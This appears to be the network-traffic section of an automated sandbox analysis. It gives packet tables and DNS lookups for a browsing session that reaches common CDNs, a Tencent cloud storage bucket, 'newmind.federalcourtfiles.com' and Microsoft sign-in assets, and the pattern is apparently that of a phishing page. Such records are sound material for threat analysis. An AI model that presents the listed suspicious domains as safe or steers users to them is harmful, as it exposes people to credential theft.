Dec 19, 2024 15:13:43.813081980 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.813380957 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.813415051 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.813451052 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.813483953 CET	443	49738	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:43.813555956 CET	49738	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.813798904 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.813858986 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:43.813934088 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.814217091 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:43.814249992 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:44.028553963 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:44.028600931 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:44.520859003 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:44.521047115 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:44.521058083 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:44.522476912 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:44.522546053 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:44.523309946 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:44.523399115 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:44.523586988 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:44.571332932 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:44.573412895 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:44.573422909 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:44.624360085 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:45.026777029 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:45.027033091 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:45.027057886 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:45.027409077 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:45.027699947 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:45.027772903 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:45.027843952 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:45.038892031 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:45.039027929 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:45.039087057 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:45.039098024 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:45.039190054 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:45.039334059 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:45.040105104 CET	49739	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:45.040116072 CET	443	49739	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:45.075336933 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:45.181689024 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:45.181740046 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:45.181843042 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:45.182024002 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:45.182054043 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:45.910649061 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:45.910746098 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:45.910811901 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:45.912292004 CET	49742	443	192.168.2.5	172.67.139.114
Dec 19, 2024 15:13:45.912324905 CET	443	49742	172.67.139.114	192.168.2.5
Dec 19, 2024 15:13:46.220119953 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:46.220144987 CET	443	49754	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:46.220248938 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:46.220660925 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:46.220674038 CET	443	49754	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:46.965801954 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:46.966084003 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:46.966124058 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:46.969666958 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:46.969764948 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:46.970051050 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:46.970232010 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:46.977144003 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:46.977160931 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:47.031142950 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:47.432400942 CET	443	49754	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:47.432658911 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.432673931 CET	443	49754	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:47.433823109 CET	443	49754	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:47.433895111 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.434212923 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.434225082 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.434282064 CET	443	49754	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:47.434329987 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.434359074 CET	49754	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.434693098 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.434770107 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:47.434859037 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.435195923 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:47.435218096 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:47.525197983 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:47.525305986 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:47.525537014 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:47.525567055 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:47.525649071 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:47.525708914 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:47.526679039 CET	49753	443	192.168.2.5	152.199.21.175
Dec 19, 2024 15:13:47.526701927 CET	443	49753	152.199.21.175	192.168.2.5
Dec 19, 2024 15:13:48.647567987 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:48.664932013 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:48.664992094 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:48.665364027 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:48.688242912 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:48.688338041 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:48.688425064 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:48.731331110 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:49.110723972 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:49.110789061 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:49.110992908 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:49.111620903 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:49.111680984 CET	443	49761	104.21.26.217	192.168.2.5
Dec 19, 2024 15:13:49.111715078 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:13:49.111769915 CET	49761	443	192.168.2.5	104.21.26.217
Dec 19, 2024 15:14:32.172658920 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:32.172698975 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:32.172791958 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:32.172998905 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:32.173011065 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:33.866588116 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:33.867311001 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:33.867331028 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:33.867808104 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:33.868534088 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:33.868616104 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:33.921072960 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:43.566335917 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:43.566396952 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:14:43.566576958 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:45.438843012 CET	49866	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:14:45.438857079 CET	443	49866	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:32.234855890 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:32.234896898 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:32.234989882 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:32.235364914 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:32.235392094 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:33.929671049 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:33.933485031 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:33.933527946 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:33.934164047 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:33.934942007 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:33.935053110 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:33.983225107 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:43.653230906 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:43.653315067 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:15:43.653481007 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:45.439235926 CET	50000	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:15:45.439282894 CET	443	50000	172.217.19.228	192.168.2.5
Dec 19, 2024 15:16:32.297153950 CET	50024	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:16:32.297266960 CET	443	50024	172.217.19.228	192.168.2.5
Dec 19, 2024 15:16:32.297684908 CET	50024	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:16:32.297756910 CET	50024	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:16:32.297777891 CET	443	50024	172.217.19.228	192.168.2.5
Dec 19, 2024 15:16:33.996306896 CET	443	50024	172.217.19.228	192.168.2.5
Dec 19, 2024 15:16:33.996820927 CET	50024	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:16:33.996860981 CET	443	50024	172.217.19.228	192.168.2.5
Dec 19, 2024 15:16:33.998034000 CET	443	50024	172.217.19.228	192.168.2.5
Dec 19, 2024 15:16:33.998415947 CET	50024	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:16:33.998589993 CET	443	50024	172.217.19.228	192.168.2.5
Dec 19, 2024 15:16:34.046544075 CET	50024	443	192.168.2.5	172.217.19.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 15:13:28.612989902 CET	53	62188	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.111057043 CET	51278	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.111233950 CET	57576	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.111833096 CET	65300	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.112361908 CET	64048	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.112718105 CET	62697	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.112924099 CET	53908	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.114156008 CET	54867	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.114347935 CET	59510	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.114831924 CET	53563	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.114988089 CET	54191	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:29.250880957 CET	53	51278	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.251386881 CET	53	62697	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.251851082 CET	53	55657	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.252073050 CET	53	53908	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.252820969 CET	53	65300	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.252830982 CET	53	60777	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.253070116 CET	53	64048	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.253314018 CET	53	59510	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.253406048 CET	53	54867	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.254323006 CET	53	57576	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.411045074 CET	53	54191	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:29.579176903 CET	53	53563	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.698234081 CET	57299	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.698367119 CET	62215	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.701137066 CET	62089	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.701406002 CET	63652	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.709851980 CET	56256	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.709997892 CET	62541	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.713372946 CET	54616	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.713624001 CET	64605	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:31.835016966 CET	53	57299	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.835716009 CET	53	62215	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.837908983 CET	53	62089	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.838020086 CET	53	63652	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.848233938 CET	53	56256	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.848366976 CET	53	62541	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.850303888 CET	53	54616	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:31.862253904 CET	53	64605	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:32.118372917 CET	63778	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:32.118532896 CET	50324	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:32.255695105 CET	53	63778	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:32.255809069 CET	53	50324	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:32.285918951 CET	53	64459	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:33.909181118 CET	56141	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:33.909801006 CET	64104	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:33.913814068 CET	50500	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:33.914124012 CET	52997	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:33.990616083 CET	53	54093	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:34.020754099 CET	53	51711	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:34.051954031 CET	53	50500	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:34.053081036 CET	53	52997	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:34.217896938 CET	53	56141	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:34.218460083 CET	53	64104	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:39.518210888 CET	49730	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:39.518362999 CET	53661	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:39.655658007 CET	53	53661	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:39.655749083 CET	53	49730	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:42.534600019 CET	52809	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:42.534816980 CET	55892	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:42.671252966 CET	53	52809	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:42.909094095 CET	53	55892	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:45.043391943 CET	63644	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:45.043548107 CET	63499	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:13:45.180403948 CET	53	63644	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:45.181246042 CET	53	63499	1.1.1.1	192.168.2.5
Dec 19, 2024 15:13:50.981494904 CET	53	62564	1.1.1.1	192.168.2.5
Dec 19, 2024 15:14:09.949866056 CET	53	63513	1.1.1.1	192.168.2.5
Dec 19, 2024 15:14:28.233659029 CET	53	61178	1.1.1.1	192.168.2.5
Dec 19, 2024 15:14:32.872442007 CET	53	54443	1.1.1.1	192.168.2.5
Dec 19, 2024 15:15:03.435853958 CET	53	56443	1.1.1.1	192.168.2.5
Dec 19, 2024 15:15:49.232384920 CET	53	54729	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 19, 2024 15:13:42.909192085 CET	192.168.2.5	1.1.1.1	c266	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 15:13:29.111057043 CET	192.168.2.5	1.1.1.1	0xd90e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.111233950 CET	192.168.2.5	1.1.1.1	0xd1f1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:29.111833096 CET	192.168.2.5	1.1.1.1	0xe73	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.112361908 CET	192.168.2.5	1.1.1.1	0x8345	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:29.112718105 CET	192.168.2.5	1.1.1.1	0x1f4f	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.112924099 CET	192.168.2.5	1.1.1.1	0x5037	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:29.114156008 CET	192.168.2.5	1.1.1.1	0xec24	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.114347935 CET	192.168.2.5	1.1.1.1	0x3c7	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:29.114831924 CET	192.168.2.5	1.1.1.1	0x59b3	Standard query (0)	6032451419-1323985617.cos.na-siliconvalley.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.114988089 CET	192.168.2.5	1.1.1.1	0x17b3	Standard query (0)	6032451419-1323985617.cos.na-siliconvalley.myqcloud.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:31.698234081 CET	192.168.2.5	1.1.1.1	0x5082	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.698367119 CET	192.168.2.5	1.1.1.1	0x9b3f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:31.701137066 CET	192.168.2.5	1.1.1.1	0xbdc9	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.701406002 CET	192.168.2.5	1.1.1.1	0x810a	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:31.709851980 CET	192.168.2.5	1.1.1.1	0x9019	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.709997892 CET	192.168.2.5	1.1.1.1	0x1f08	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:31.713372946 CET	192.168.2.5	1.1.1.1	0x764c	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.713624001 CET	192.168.2.5	1.1.1.1	0xa7fc	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:32.118372917 CET	192.168.2.5	1.1.1.1	0x48ec	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:32.118532896 CET	192.168.2.5	1.1.1.1	0x22bb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:33.909181118 CET	192.168.2.5	1.1.1.1	0xea6a	Standard query (0)	newmind.federalcourtfiles.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:33.909801006 CET	192.168.2.5	1.1.1.1	0x678c	Standard query (0)	newmind.federalcourtfiles.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:33.913814068 CET	192.168.2.5	1.1.1.1	0x9625	Standard query (0)	6032451419-1323985617.cos.na-siliconvalley.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:33.914124012 CET	192.168.2.5	1.1.1.1	0x4aab	Standard query (0)	6032451419-1323985617.cos.na-siliconvalley.myqcloud.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:39.518210888 CET	192.168.2.5	1.1.1.1	0xa820	Standard query (0)	newmind.federalcourtfiles.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:39.518362999 CET	192.168.2.5	1.1.1.1	0x5804	Standard query (0)	newmind.federalcourtfiles.com	65	IN (0x0001)	false
Dec 19, 2024 15:13:42.534600019 CET	192.168.2.5	1.1.1.1	0x1498	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:42.534816980 CET	192.168.2.5	1.1.1.1	0x1d30	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 19, 2024 15:13:45.043391943 CET	192.168.2.5	1.1.1.1	0xb694	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:45.043548107 CET	192.168.2.5	1.1.1.1	0x94d2	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 15:13:29.250880957 CET	1.1.1.1	192.168.2.5	0xd90e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.250880957 CET	1.1.1.1	192.168.2.5	0xd90e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.250880957 CET	1.1.1.1	192.168.2.5	0xd90e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.250880957 CET	1.1.1.1	192.168.2.5	0xd90e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.251386881 CET	1.1.1.1	192.168.2.5	0x1f4f	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.251386881 CET	1.1.1.1	192.168.2.5	0x1f4f	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.252073050 CET	1.1.1.1	192.168.2.5	0x5037	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:29.252820969 CET	1.1.1.1	192.168.2.5	0xe73	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.252820969 CET	1.1.1.1	192.168.2.5	0xe73	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.253070116 CET	1.1.1.1	192.168.2.5	0x8345	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:29.253314018 CET	1.1.1.1	192.168.2.5	0x3c7	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:29.253406048 CET	1.1.1.1	192.168.2.5	0xec24	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.253406048 CET	1.1.1.1	192.168.2.5	0xec24	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.579176903 CET	1.1.1.1	192.168.2.5	0x59b3	No error (0)	6032451419-1323985617.cos.na-siliconvalley.myqcloud.com	cos.na-siliconvalley.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:29.579176903 CET	1.1.1.1	192.168.2.5	0x59b3	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.198	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.579176903 CET	1.1.1.1	192.168.2.5	0x59b3	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.195	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:29.579176903 CET	1.1.1.1	192.168.2.5	0x59b3	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.196	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.835016966 CET	1.1.1.1	192.168.2.5	0x5082	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.835016966 CET	1.1.1.1	192.168.2.5	0x5082	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.835716009 CET	1.1.1.1	192.168.2.5	0x9b3f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:31.837908983 CET	1.1.1.1	192.168.2.5	0xbdc9	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.837908983 CET	1.1.1.1	192.168.2.5	0xbdc9	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.838020086 CET	1.1.1.1	192.168.2.5	0x810a	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:31.848233938 CET	1.1.1.1	192.168.2.5	0x9019	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.848233938 CET	1.1.1.1	192.168.2.5	0x9019	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.848366976 CET	1.1.1.1	192.168.2.5	0x1f08	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:31.850303888 CET	1.1.1.1	192.168.2.5	0x764c	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
